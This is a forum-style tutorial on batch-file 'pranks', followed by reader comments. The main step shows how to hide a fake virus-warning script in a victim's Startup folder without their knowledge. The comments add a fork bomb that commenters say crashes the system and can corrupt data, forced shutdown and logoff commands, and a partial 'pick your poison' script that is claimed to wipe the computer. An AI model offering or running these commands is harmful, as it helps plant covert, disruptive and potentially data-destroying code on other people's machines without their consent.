!!GREAT COMPUTER PRANKS !! computer commands using notepad and command prompt

In this Instructable i will show you how to make a few pranks on peoples computer using simple commands on notepad and cmd prompt.

I MADE THIS INSTRUCTABLE TO ENTER THE APRIL FOOLS SPEED CONTEST SO PLEASE VOTE BY HITTING THE VOTE BUTTON AT THE TOP

Step 1 Fake warning message

Ok first we will start with the easy one, the fake warning message.
This is how to do it:
1.Open note pad
2.Type this in
@echo off
msg * Warning your computer has detected a virus.
msg * To remove the virus click OK or close this box
msg * Your Hard drives are now being formatted
msg * Please wait ...........
msg * APRIL FOOLS

3.Save the file as April-fools.BAT
4.Right click on the file and press hidden
5.Go to folder options and click show hidden files
6.Cut the file and place it in the victims Start up folder in the start menu
7.Go back to folder options and click do not show hidden files.

Now what each of the lines you typed in done:
@echo off << this runs the commands in the background so the victim will not see any codes
msg * <<this commands the computer to show a message
msg * hahahah <<this is what the message will display

The results
when the victim starts up there computer the first message will appear, when they click OK the next one will appear and make the victim think there hard drive is being formatted until they get the last message saying APRIL FOOLS.

Now your code should look like the image below:

I'd recommend this much smaller and faster fork bomb:
%0|%0

It will essentially do the same thing, only it will duplicate so rapidly, it is very difficult to kill the process before it takes over the entire system.

[yterrythemosteratlarge]

you can stop it by task manager and closeing command prompt

[xenongamer]

how do you stop it? "when you develop a weapon, you have to develop a counter weapon, and then develop a countewr for that counter weapon"

[neivadan]

well xenogamer if you have windows then your in luck you have task manger as your counter weapon but if you have something different as an os for your computer you can just download it as freeware considering it's like a program management consle.Aslo with this you can log other people off the computer through task manger without theyre password **)

[aparida1]

b4 starting it start another batch "shutdown -l -t 00"

[lperkins]

taskkill /IM /F a.bat

And while this prank is nominally harmless, it will crash the system, which can easily cause data corruption on Windows.

[username431]

however, you could put in the file to open a file that would close all the programs on your computer. this would prevent you computer from falling for that exact fork virus, but allow it to atack others because it would be written something like this: @echo off :START start a.bat GOTO START start blackhole.bat in this case blackhole.bat would be written to close all programs (and in the same location as a.bat), where if run on another computer , the program wouldnt be in the same location, it might not have the same name, or it might not exist. for this to work, you would have to put blackhole.bat as hidden

[DeanGPotts]

you could probably use the line shutdown -f -t 00 , all programs should close but the computer will stay on

[DeanGPotts]

nope, never mind i just tried it, i was logged off and after i logged back in i couldnt connect to the internet, had to do a restert, was quite annoying though and i think if someone doesnt know whats actually happened they would be pretty freaked out about it

[the dashing hero]

hi, wienies!

[DeanGPotts]

leid, was meinst du mit wienies bedeuten?

[Dr Menguin]

you can hold down CTRL+C

[dean-101]

restart the computer is the only way,

[sharlston]

how do you get the freeze computer off to get the immage off?

[11rex11]

actually no its not if you are quick enough go to run in the start menu type in the file name like in this case you would type virus.bat -a that shuts down that program

[musicninja17]

No, control + C should stop it.....

[xenongamer]

copy stops it?... no, that won't work.

[musicninja17]

See this page.....also....the break key on your keyboard should do the trick also...

[neivadan]

i got a better idea you can make it open up all the programs in your computer make it call more and more windows of those programs till your computer is dead!!!!

Don't Forget To Watch This One : http://www.youtube.com/watch?v=qMG1u6Pz9yo&NR=1

[51m0n]

When I tried it it didn't flash the message or start the timer it just logged me off.

[techno guy]

Say I put this on my computer to see how it works, how do I turn it off when I don't want it on my computer?

[bvaughn1]

just delete it! duh!

[l0rdaryan]

lol

[zapper067]

You can use iexpress.exe to make a .exe one.

[ycristoria]

how to remove the image?

[fabsy333]

This is NOT that realistic. All it does is it just shows msges(messages).

[Jamtaktics]

Does this work in Vista, I copied word for word, and nothing?!?!

[Paul J Sanderlin]

something else you can do is add instead of April fools echo -WARNING echo - echo Hard drive has been formatted echo - echo -WARNING echo - PAUSE echo System needs to restart in order to continue processing PAUSE echo Windows is shutting down PAUSE shutdown -t 30 the shutdown -t 30 is telling the computer to shutdown in 30 secs, you can change it to whatever you like or shutdown -r to restart your computer

[CaptInsane]

If you hide all of their files, both in My Docs and My Computer, before setting this up, then use the code to shutdown/restart the computer, it'd make them actually think their files are missing. Though, you'd need a way to get the non-Windows-standard icons to disappear upon starting up again. Not sure how that'd be accomplished...

[RabidAlien]

Right-click on the desktop in question. Go to "Arrange Icons By" (usually first option in the dropdown menu), select "Show Desktop Icons". This will have a check-mark by it if there are icons already on the desktop. Selecting it again will remove the checkmark, and remove/hide the desktop icons. Following these steps again and re-checking the option will bring the icons back.

[dchristian-1]

hey i have 1 virus,,,trick,,,,,which is harm but funny......


Set wshShell = wscript.CreateObject("WScript.Shell")

and plz be visit at my ewb-site,,,,,http://dipen8hacker.webs.com/

[Ikkalebob]

I tried the logoff one and it worked well exept that the message didnt come up - It just logged off instantly. please help

[Treypyro]

Logout does not allow comments, I don't know why the creators of command prompt did not allow this but comments are only allowed on shutdown and restart.

[reconchief]

When i right click i cannot find hidden

[Mudbud]

is this a safe prank? like does it restart your pc reapetedly?

[nick4508]

I also have another that keeps your computer off and wont turn off until you insert a certain disc that can only be bought from the guy who made it... thats nasty!

[nick4508]

Some pranks can harm your computer really badly and get you in very deep s#it. but this one is harmless. if you want to make someone cry try this one, but dont use on your self and also dont say some d#ck on instructables told me this!- this is to be saved as a .bat
@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two


- it gives them a choice between 1-5 basically. 3 wipes your computer

[Jamtaktics]

3 whipes your computer in what way, like deletes files?

[nick4508]

Its like when you get a brand new computer, nothing on it.
